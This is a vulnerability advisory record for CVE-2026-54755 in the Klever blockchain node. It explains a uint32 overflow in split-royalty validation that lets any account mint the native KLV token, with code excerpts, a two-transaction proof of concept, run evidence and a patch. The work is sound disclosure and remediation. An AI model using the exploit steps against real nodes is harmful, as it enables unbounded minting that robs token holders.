{"id":"CVE-2026-54755","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54755","summary":"Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)","details":"## Summary\n\nThe per-entry percentages of a KDA asset's **split royalties** are validated by summing\nthem into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`,\nwith **no upper bound on each individual entry**. Two split entries whose percentages sum to\njust over `2^32` **wrap around** below `10000` and pass validation, while each stored value\nremains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%).\n\nAt royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than\nthe royalty pool — and the resulting negative remainder is silently discarded\n(`if royaltiesToPay <= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO\nroyalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin\nair, on demand, by transferring or selling their own throwaway asset.\n\nThis is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard.\n\n\n## Affected component\n\n- Repository: `klever-io/klever-go` (node).\n- Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`,\n  `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`.\n- Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go`\n  (marketplace buy), `core/kapp/ito/ito.go` (ITO buy).\n- **Not** gated by any fork flag — exploitable on current mainnet.\n\n---\n\n## Root cause\n\n### 1. Per-entry split percentages are decoded as raw `uint32` with no bound\n`core/kapp/builtInFunctions/utils.go` — `decodeSplitInfo` (≈L292):\n```go\nfunc decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {\n\tfields := []*uint32{\n\t\t&splitInfo.PercentTransferPercentage,\n\t\t&splitInfo.PercentTransferFixed,\n\t\t&splitInfo.PercentMarketPercentage,\n\t\t&splitInfo.PercentMarketFixed,\n\t\t&splitInfo.PercentITOPercentage,\n\t\t&splitInfo.PercentITOFixed,\n\t}\n\tfor _, field := range fields {\n\t\tif err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n### 2. Validation sums into a `uint32` and only checks the sum\n`core/kapp/kda/create.go` (fungible path, ≈L351-382; NFT path ≈L228-264):\n```go\nsumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator\nsumSplitTransferFixed       := uint32(0)\n// ...\nfor key, value := range tc.GetRoyalties().GetSplitRoyalties() {\n\t// ... no per-entry bound ...\n\tsumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32\n\tsumSplitTransferFixed       += value.GetPercentTransferFixed()\n\t// ...\n}\nif !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum\n\treturn transaction.Transaction_ParameterInvalid, common.ErrInvalidValue\n}\n```\n`core/process/kda/assetHelper.go` (L101):\n```go\nfunc CheckValid100Params(values ...uint32) bool {\n\tfor _, value := range values {\n\t\tif value > core.HundredPercent { // HundredPercent = 10000\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n```\nThe per-entry `> HundredPercent` check that exists for `TransferPercentage` **tiers**\n(`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields.\n\n`0x80000000 + 0x80000000 = 0x1_0000_0000` → **wraps to `0`** in `uint32` → `CheckValid100Params(0)` is true.\n\n### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV\n`core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382):\n```go\nerr := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty\n// ...\nroyaltiesFixedToPay := kda.Royalties.TransferFixed\nfor key, value := range kda.Royalties.SplitRoyalties {\n\t// L343: split paid in KLV using the overflowed PercentTransferFixed\n\tstatus, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,\n\t\tacntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)\n\t// ...\n}\nif royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)\n\treturn transaction.Transaction_Ok, nil\n}\n```\n`computeSplitRoyalties` (L276-314):\n```go\nsplitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287\n*royaltiesToPay -= splitToPay                                                                              // L291\nerr = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit\n```\n`tools/converters.go` — `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000`\nfits in `int64`, so **no overflow error fires** — it simply returns the inflated amount.\n\n**Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited\n`TransferFixed × 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) − `TransferFixed`.\n\nThe same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the\nsale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV — silent skips at L456/L503) and\n`core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the\ntop-level `marketOwnerAmount < 0`, not these intra-royalty split over-payments.\n\n---\n\n## Proof of Concept (reproduce from scratch)\n\nA single-node local network is sufficient. Full environment setup is in the companion runbook\n`REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions.\n\n### Prereqs (build + run a single node)\n```bash\nexport REPO=/path/to/klever-go && cd \"$REPO\"\ngo build -o /tmp/klnode ./cmd/node\ngo build -o /tmp/kloperator ./cmd/operator\ngo build -o /tmp/klkeygen ./cmd/keygenerator\n# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a\n# funded wallet (klvDenomination 6), then:\nnohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \\\n  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \\\n  > /tmp/klnode.log 2>&1 < /dev/null & disown\n```\n\n### Step 1 — create a malicious asset (your own throwaway token)\nThe operator stores percentages as `uint32(input × 100)`, so `21474836.48 → 2147483648 = 0x80000000`.\nTwo entries make the `uint32` sum wrap to 0.\n```bash\nR1=<any valid klv1 address>   # clean recipient, will receive minted KLV\nR2=<any valid klv1 address>   # second recipient\n/tmp/kloperator kda create 0 \\\n  --name=\"KlvPrinter\" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \\\n  --royaltiesAddress=<owner> \\\n  --royaltiesTransferFixed=1 \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R1\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R2\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  -s --await\n```\n**Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both\nrecipients (a correct chain would reject this).\n\n### Step 2 — mint KLV with one ordinary transfer\n```bash\n/tmp/kloperator account send \"$R2\" 1 --kda KPRT2-<id> -s --await\n```\n**Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800`\n(= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV).\n\n### Verify the mint\n```bash\n# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:\ncurl -s \"http://127.0.0.1:8080/address/$R1\" | python3 -c \\\n \"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')\"\n```\n\n---\n\n## Evidence (live single-node run, chainID 420420)\n\n### Asset creation — overflowed split royalties **accepted** (`resultCode: Ok`)\ntx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract\n(operator output, abridged):\n```json\n{\n  \"type\": 0, \"name\": \"KlvPrinter2\", \"ticker\": \"KPRT2\",\n  \"ownerAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n  \"initialSupply\": 1000000000000,\n  \"royalties\": {\n    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n    \"transferFixed\": 1000000,\n    \"splitRoyalties\": {\n      \"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap\": { \"percentTransferFixed\": 2147483648 },\n      \"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5\": { \"percentTransferFixed\": 2147483648 }\n    }\n  }\n}\n```\nResult: `hash: 1e288135…`, `status: success`, `resultCode: Ok`.\n(`2147483648 = 0x80000000`; the two values' `uint32` sum is `0` → passed `CheckValid100Params`.)\n\n### Transfer — mints KLV (`resultCode: Ok`)\ntx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`,\n`status: success`, `resultCode: Ok`. Receipts (operator output):\n```json\n{\"typeString\": \"SignedBy\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv1fpwjz…(R1)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv17e8zz…(R2)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv17e8zz…(R2)\", \"value\": 1000000,       \"assetId\": \"KPRT2-2712\", \"assetType\": \"Fungible\"}\n```\n\n**Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were\neach credited `214748364800` (**214,748.36 KLV**) — **429,496.73 KLV minted** from a 1 KLV royalty,\nin a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never\nbeing sent any KLV. The minted amount is `pool(=1000000) × 0x80000000 / 10000 = 214748364800` per\nrecipient.\n\nA prior run reproduced the same on the *transfer-percentage* path, minting the asset itself\n(42,949,672.96 tokens from one transfer); note that the asset's booked `CirculatingSupply` /\n`MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so\nthe inflation is invisible to supply dashboards and only detectable by summing balances.\n\n---\n\n## Impact\n\n- **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees.\n- Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed`\n  deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path.\n- The mint is **off the books** (booked supply unchanged), making detection hard.\n- Total loss of economic integrity for all token/KLV holders.\n\n## Who can exploit it / prerequisites\n\n- **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or\n  allowlist.\n- **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction\n  and POSTs to the public, unauthenticated `/transaction/send` endpoint\n  (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` — no auth). The official SDKs or a\n  hand-signed `curl` produce identical results; nothing in the operator is required.\n- Deterministic, single-transaction trigger after a one-time asset setup.\n\n---\n\n## Remediation\n\nTwo layers, both should ship. Because these change transaction-validity/consensus behavior, gate\nthem behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`),\nso historical blocks reprocess identically.\n\n### A. Reject over-100% split percentages at validation (root cause)\n1. Bound **each individual** split field, e.g. in `decodeSplitInfo`\n   (`core/kapp/builtInFunctions/utils.go`):\n   ```go\n   for _, field := range fields {\n       if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }\n       if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW\n   }\n   ```\n2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and\n   `core/kapp/kda/trigger.go`, and reject if any per-category sum `> core.HundredPercent`.\n   (With each entry ≤ 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is\n   200000 — but use `uint64` regardless for defense in depth.)\n\n### B. Treat a negative royalty remainder as a hard error (defense in depth)\nIn every split-distribution site, replace the silent skip with a rejection:\n```go\n// BEFORE\nif royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }\n// AFTER\nif royaltiesToPay < 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }\nif royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }\n```\nSites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage),\n`core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499).\n\n### C. (Optional) Assert conservation\nAfter distributing a royalty pool, assert `Σ splitToPay == pool` (the owner gets the exact\nremainder), so any future regression aborts the tx instead of minting.\n\nA regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is\nrejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)\ncannot pay out more than the royalty pool.\n\n---\n\n## Variants / notes\n\n- **Transfer (percentage)** → mints the transferred asset. **Transfer (fixed)**, **Market**\n  (fixed + percentage), **ITO** (fixed + percentage) → mint **KLV** / the sale currency.\n- Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via\n  `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint — atomically within one tx.\n- The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even\n  easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools.\n\n## References\n\n- Vulnerable code: `core/process/kda/assetHelper.go:101`,\n  `core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`,\n  `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`,\n  `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`,\n  `tools/converters.go:102`.","published":"2026-08-28T16:25:48Z","modified":"2026-08-28T16:30:06.484812671Z","cvss":{"score":9.6,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","fixedVersion":"1.7.19"}],"fix":{"url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251","label":"klever-io/klever-go@8bcc600"},"references":[{"type":"WEB","url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"},{"type":"PACKAGE","url":"https://github.com/klever-io/klever-go"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.19"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-28T16:30:06.484812671Z"}}